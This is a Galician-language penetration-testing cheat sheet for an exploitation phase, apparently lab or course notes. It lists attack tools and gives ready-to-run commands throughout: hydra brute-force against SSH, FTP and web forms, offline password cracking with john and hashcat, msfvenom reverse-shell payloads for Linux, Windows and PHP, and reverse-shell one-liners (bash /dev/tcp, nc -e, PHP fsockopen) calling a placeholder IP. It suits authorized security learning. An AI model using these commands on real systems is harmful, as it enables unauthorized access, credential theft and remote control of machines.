Comandos tipo empregados na Fase 3
| Comando | Propósito | Uso típico |
|---|---|---|
hydra |
Brute-force multiprotocolo | SSH, FTP, HTTP-POST-FORM |
ssh2john |
Extraer hash SSH | ssh2john id_rsa > hash.txt |
john |
Crackear contrasinais (offline) | john hash.txt --wordlist=rockyou.txt |
hashcat |
Cracking avanzado GPU/CPU (offline) | hashcat -m 1000 -a 0 hash.txt rockyou.txt |
nc |
Listener reverse shell | nc -nlvp 4444 |
bash |
Reverse shell | bash -i >& /dev/tcp/IP/4444 0>&1 |
ssh |
Acceso remoto | ssh -i id_rsa user@IP |
ftp |
Transferencia ficheiros | Subir shells, descargar datos |
sqlmap |
SQL Injection | Enumerar DBs, extraer datos |
msfconsole |
Framework explotación | Exploits automatizados |
msfvenom |
Xerar payloads/shells | msfvenom -p linux/x64/shell_reverse_tcp |
Exemplos
Brute Force / Cracking
# Ataques online (Hydra)
hydra -l user -P wordlist.txt IP ssh
hydra -l user -P wordlist.txt IP ftp
hydra -l user -P wordlist.txt IP http-post-form "..."
# Converter claves SSH a hash (para cracking offline)
ssh2john id_rsa > hash.txt
# Cracking offline con John
john hash.txt --wordlist=wordlist.txt
# Cracking offline con Hashcat (NTLM como exemplo)
hashcat -m 1000 -a 0 hash.txt /usr/share/wordlists/rockyou.txt
Exploits Públicos
Xerar Payloads (msfvenom)
# Payload reverse shell Linux x64
msfvenom -p linux/x64/shell_reverse_tcp LHOST=IP LPORT=4444 -f elf > shell.elf
# Payload reverse shell Windows
msfvenom -p windows/shell_reverse_tcp LHOST=IP LPORT=4444 -f exe > shell.exe
# Reverse shell PHP
msfvenom -p php/reverse_php LHOST=IP LPORT=4444 -f raw > shell.php
# Listar payloads dispoñibles
msfvenom -l payloads
Reverse Shells
nc -nlvp 4444
bash -i >& /dev/tcp/IP/4444 0>&1
nc -e /bin/bash IP 4444
php -r '$sock=fsockopen("IP",4444);exec("sh <&3 >&3 2>&3");'
File Upload / Transfer
wget http://IP/file
curl http://IP/file -o file
scp file user@IP:/path
ftp IP
smbclient //IP/Share -N